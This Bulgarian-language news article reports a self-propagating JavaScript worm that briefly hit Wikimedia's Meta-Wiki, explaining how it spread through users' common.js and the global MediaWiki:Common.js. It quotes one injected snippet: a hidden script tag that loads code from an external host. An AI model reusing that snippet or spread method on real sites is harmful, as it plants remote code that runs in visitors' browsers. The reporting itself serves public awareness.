JavaScript „червей“ предизвика инцидент със сигурността в Wikimedia

Атаката е засегнала Meta-Wiki и е била овладяна за около 23 минути

Wikimedia Foundation съобщи за инцидент със сигурността, след като саморазпространяващ се JavaScript „червей“ започна да променя потребителски скриптове и да извършва вандализъм в страниците на Meta-Wiki.

Редактори първо сигнализираха за проблема във форума Village Pump на Wikipedia, след като забелязаха масови автоматизирани редакции, които добавят скрити скриптове и променят случайни страници.

Инженерите на Wikimedia временно ограничиха редактирането в проектите, докато разследваха инцидента и започнаха да връщат промените.

Как е започнал инцидентът

Според системата за проследяване на проблеми Phabricator, атаката вероятно е започнала след изпълнение на злонамерен скрипт, хостван в руската версия на Wikipedia.

Скриптът е бил запазен на страница:

User:Ololoshka562/test.js

Файлът е качен през март 2024 г. и се предполага, че е свързан със скриптове, използвани при предишни атаки срещу уики проекти.

Анализ на BleepingComputer показва, че скриптът вероятно е бил стартиран за първи път от акаунт на служител на Wikimedia, докато се е тествала функционалността за потребителски скриптове.

Все още не е ясно дали:

  • скриптът е бил изпълнен умишлено

  • зареден случайно по време на тестове

  • или акаунтът е бил компрометиран

Как работи JavaScript „червеят“

Злонамереният код се саморазпространява, като инжектира JavaScript „loader“ в два различни скрипта:

1. Потребителско ниво

Червеят се опитва да презапише файла:

User:<username>/common.js

Така при всяко влизане на потребителя в сайта скриптът автоматично зарежда злонамерения код.

2. Глобално ниво

Ако заразеният потребител има достатъчно права, скриптът променя и:

MediaWiki:Common.js

Това е глобален JavaScript файл, използван от всички редактори.

Ако той бъде заразен, всеки потребител, който зареди страницата, активира червея, който след това повтаря същите действия.

Вандализъм на страници

Скриптът е включвал и функция за автоматична редакция на случайни страници чрез командата:

Special:Random

След това в страницата се добавя изображение и скрит JavaScript код, който зарежда допълнителен скрипт от външен сайт.

Примерният код включва:

[[File:Woodpecker10.jpg|5000px]]
<span style=“display:none“>
<script>$.getScript(‘//basemetrika.ru/…’)</script>
</span>

Мащабът на инцидента

Анализът на BleepingComputer показва, че:

  • около 3 996 страници са били променени

  • 85 потребителски скрипта (common.js) са били заменени

  • неизвестен брой страници са били изтрити

По време на почистването служители на Wikimedia Foundation са върнали оригиналните версии на засегнатите скриптове и са премахнали злонамерения код.

Много от променените страници са били потиснати (suppressed) и вече не се виждат в публичната история на редакциите.

Официална позиция на Wikimedia

По-късно Wikimedia Foundation уточни, че кодът е бил активен само 23 минути.

По време на този период:

  • е било променено и изтрито съдържание само в Meta-Wiki

  • съдържанието вече се възстановява

Фондацията заяви още:

  • няма доказателства за външна атака срещу Wikipedia

  • няма изтичане на лични данни

Инцидентът е възникнал, след като по време на преглед на потребителски код служители случайно са активирали скрит злонамерен скрипт.

Следващи мерки

Wikimedia Foundation съобщи, че работи върху допълнителни мерки за сигурност, които да намалят риска подобни инциденти да се случват в бъдеще.

Фондацията ще публикува и подробен доклад за инцидента, след като разследването приключи.

По материали от Интернет

Подобни

Earth Lusca разширява арсенала си с Windows версии на SprySOCKS
17.06.2026
china
DragonForce използва Microsoft Teams инфраструктура за скрит контрол
17.06.2026
China_dragon
Китай използва malware срещу медицински изследователски организации
16.06.2026
spyware
Украинeц се призна за виновен за участие в операциите на Conti ransomware
15.06.2026
ransomware
Защо RDP се превръща в предпочитано оръжие на съвременния рансъмуер
14.06.2026
gettyimages-1355321121
ShinyHunters е използвала zero-day уязвимост в Oracle PeopleSoft
14.06.2026
Oracle

Споделете

Facebook
LinkedIn

Бюлетин

С нашия бюлетин ще бъдеш сред първите, които научават за нови заплахи, практични решения и добри практики. Напълно безплатно и с грижа за твоята сигурност.

Популярни

Българските торент сайтове продължават да изчезват
27.02.2026
pirate-flag-7541041_640
Изземване на Zamunda, Arena и други торент сайтове
30.01.2026
seizure
Измамническите сайтове в България: как да ги разпознаем, проверим и защитим себе си
6.10.2025
bulgaria3
Bitdefender пусна безплатен инструмент за проверка на телефонни номера
12.12.2025
telephoneAlamy